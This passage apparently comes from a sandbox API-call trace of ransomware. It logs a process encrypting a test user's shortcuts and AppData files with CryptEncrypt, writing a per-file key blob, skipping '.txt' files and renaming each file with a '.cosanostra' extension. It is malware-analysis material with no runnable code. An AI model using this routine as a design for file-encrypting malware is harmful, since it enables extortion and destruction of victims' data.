nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f104, lpOverlapped=0x0 | out: lpBuffer=0x251f144*, lpNumberOfBytesWritten=0x251f104*=0x4, lpOverlapped=0x0) returned 1 [0100.092] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f104, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f104*=0x30, lpOverlapped=0x0) returned 1 [0100.092] CloseHandle (hObject=0x15c) returned 1 [0100.092] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk.cosanostra") returned 147 [0100.092] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer (2).lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer (2).lnk.cosanostra")) returned 1 [0100.094] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f148 | out: pbBuffer=0x251f148) returned 1 [0100.094] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f140*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f140*=0x30) returned 1 [0100.094] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.094] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk") returned 128 [0100.094] StrStrW (lpFirst="Google Chrome.lnk", lpSrch=".txt") returned 0x0 [0100.095] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffff723, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.095] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x8dd, lpNumberOfBytesWritten=0x251f104, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f104*=0x8dd, lpOverlapped=0x0) returned 1 [0100.095] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.095] WriteFile (in: hFile=0x15c, lpBuffer=0x251f144*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f104, lpOverlapped=0x0 | out: lpBuffer=0x251f144*, lpNumberOfBytesWritten=0x251f104*=0x4, lpOverlapped=0x0) returned 1 [0100.095] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f104, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f104*=0x30, lpOverlapped=0x0) returned 1 [0100.095] CloseHandle (hObject=0x15c) returned 1 [0100.095] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk.cosanostra") returned 139 [0100.095] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\google chrome.lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\google chrome.lnk.cosanostra")) returned 1 [0100.097] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f140 | out: pbBuffer=0x251f140) returned 1 [0100.097] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f138*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f138*=0x30) returned 1 [0100.097] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.098] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 122 [0100.098] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0100.098] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe64, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.099] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x19c, lpNumberOfBytesWritten=0x251f0fc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f0fc*=0x19c, lpOverlapped=0x0) returned 1 [0100.099] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.099] WriteFile (in: hFile=0x15c, lpBuffer=0x251f13c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f0fc, lpOverlapped=0x0 | out: lpBuffer=0x251f13c*, lpNumberOfBytesWritten=0x251f0fc*=0x4, lpOverlapped=0x0) returned 1 [0100.099] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f0fc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f0fc*=0x30, lpOverlapped=0x0) returned 1 [0100.099] CloseHandle (hObject=0x15c) returned 1 [0100.099] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.cosanostra") returned 133 [0100.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini.cosanostra")) returned 1 [0100.100] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f140 | out: pbBuffer=0x251f140) returned 1 [0100.100] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f138*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f138*=0x30) returned 1 [0100.100] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.101] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f138 | out: pbBuffer=0x251f138) returned 1 [0100.101] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f130*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f130*=0x30) returned 1 [0100.101] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.102] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f130 | out: pbBuffer=0x251f130) returned 1 [0100.102] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f128*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f128*=0x30) returned 1 [0100.102] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.102] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f130 | out: pbBuffer=0x251f130) returned 1 [0100.102] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f128*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f128*=0x30) returned 1 [0100.102] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.103] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f128 | out: pbBuffer=0x251f128) returned 1 [0100.103] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f120*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f120*=0x30) returned 1 [0100.103] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.104] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 108 [0100.104] StrStrW (lpFirst="Shows Desktop.lnk", lpSrch=".txt") returned 0x0 [0100.562] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffede, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.563] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x251f0e4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f0e4*=0x122, lpOverlapped=0x0) returned 1 [0100.563] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.563] WriteFile (in: hFile=0x15c, lpBuffer=0x251f124*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f0e4, lpOverlapped=0x0 | out: lpBuffer=0x251f124*, lpNumberOfBytesWritten=0x251f0e4*=0x4, lpOverlapped=0x0) returned 1 [0100.563] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f0e4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f0e4*=0x30, lpOverlapped=0x0) returned 1 [0100.563] CloseHandle (hObject=0x15c) returned 1 [0100.564] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.cosanostra") returned 119 [0100.564] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk.cosanostra")) returned 1 [0100.565] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f128 | out: pbBuffer=0x251f128) returned 1 [0100.565] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f120*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f120*=0x30) returned 1 [0100.565] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Leoglr.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\leoglr.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.566] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Leoglr.xls") returned 60 [0100.566] StrStrW (lpFirst="Leoglr.xls", lpSrch=".txt") returned 0x0 [0100.567] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.567] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f0e4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f0e4*=0x2800, lpOverlapped=0x0) returned 1 [0100.567] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.567] WriteFile (in: hFile=0x15c, lpBuffer=0x251f124*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f0e4, lpOverlapped=0x0 | out: lpBuffer=0x251f124*, lpNumberOfBytesWritten=0x251f0e4*=0x4, lpOverlapped=0x0) returned 1 [0100.567] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f0e4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f0e4*=0x30, lpOverlapped=0x0) returned 1 [0100.567] CloseHandle (hObject=0x15c) returned 1 [0100.567] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Leoglr.xls.cosanostra") returned 71 [0100.567] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Leoglr.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\leoglr.xls"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Leoglr.xls.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\leoglr.xls.cosanostra")) returned 1 [0100.568] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f120 | out: pbBuffer=0x251f120) returned 1 [0100.568] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f118*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f118*=0x30) returned 1 [0100.569] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\krKKGD-1W2qV0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\krkkgd-1w2qv0.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.569] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\krKKGD-1W2qV0.flv") returned 67 [0100.569] StrStrW (lpFirst="krKKGD-1W2qV0.flv", lpSrch=".txt") returned 0x0 [0100.570] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.570] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f0dc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f0dc*=0x2800, lpOverlapped=0x0) returned 1 [0100.570] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.570] WriteFile (in: hFile=0x15c, lpBuffer=0x251f11c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f0dc, lpOverlapped=0x0 | out: lpBuffer=0x251f11c*, lpNumberOfBytesWritten=0x251f0dc*=0x4, lpOverlapped=0x0) returned 1 [0100.570] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f0dc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f0dc*=0x30, lpOverlapped=0x0) returned 1 [0100.570] CloseHandle (hObject=0x15c) returned 1 [0100.571] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\krKKGD-1W2qV0.flv.cosanostra") returned 78 [0100.571] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\krKKGD-1W2qV0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\krkkgd-1w2qv0.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\krKKGD-1W2qV0.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\krkkgd-1w2qv0.flv.cosanostra")) returned 1 [0100.572] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f120 | out: pbBuffer=0x251f120) returned 1 [0100.572] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f118*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f118*=0x30) returned 1 [0100.572] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jZ6QFqchR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jz6qfqchr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.572] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jZ6QFqchR.wav") returned 63 [0100.572] StrStrW (lpFirst="jZ6QFqchR.wav", lpSrch=".txt") returned 0x0 [0100.573] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.573] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f0dc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f0dc*=0x2800, lpOverlapped=0x0) returned 1 [0100.573] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.573] WriteFile (in: hFile=0x15c, lpBuffer=0x251f11c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f0dc, lpOverlapped=0x0 | out: lpBuffer=0x251f11c*, lpNumberOfBytesWritten=0x251f0dc*=0x4, lpOverlapped=0x0) returned 1 [0100.574] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f0dc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f0dc*=0x30, lpOverlapped=0x0) returned 1 [0100.574] CloseHandle (hObject=0x15c) returned 1 [0100.574] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jZ6QFqchR.wav.cosanostra") returned 74 [0100.574] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jZ6QFqchR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jz6qfqchr.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jZ6QFqchR.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jz6qfqchr.wav.cosanostra")) returned 1 [0100.575] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f118 | out: pbBuffer=0x251f118) returned 1 [0100.575] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f110*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f110*=0x30) returned 1 [0100.575] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jFjSTMWZXkWrp1h3ryE.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jfjstmwzxkwrp1h3rye.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.576] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jFjSTMWZXkWrp1h3ryE.xls") returned 73 [0100.576] StrStrW (lpFirst="jFjSTMWZXkWrp1h3ryE.xls", lpSrch=".txt") returned 0x0 [0100.577] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.577] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f0d4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f0d4*=0x2800, lpOverlapped=0x0) returned 1 [0100.577] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.577] WriteFile (in: hFile=0x15c, lpBuffer=0x251f114*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f0d4, lpOverlapped=0x0 | out: lpBuffer=0x251f114*, lpNumberOfBytesWritten=0x251f0d4*=0x4, lpOverlapped=0x0) returned 1 [0100.577] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f0d4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f0d4*=0x30, lpOverlapped=0x0) returned 1 [0100.578] CloseHandle (hObject=0x15c) returned 1 [0100.578] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jFjSTMWZXkWrp1h3ryE.xls.cosanostra") returned 84 [0100.578] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jFjSTMWZXkWrp1h3ryE.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jfjstmwzxkwrp1h3rye.xls"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jFjSTMWZXkWrp1h3ryE.xls.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jfjstmwzxkwrp1h3rye.xls.cosanostra")) returned 1 [0100.582] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f110 | out: pbBuffer=0x251f110) returned 1 [0100.582] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f108*=0x20, dwBufLen=0x30 | 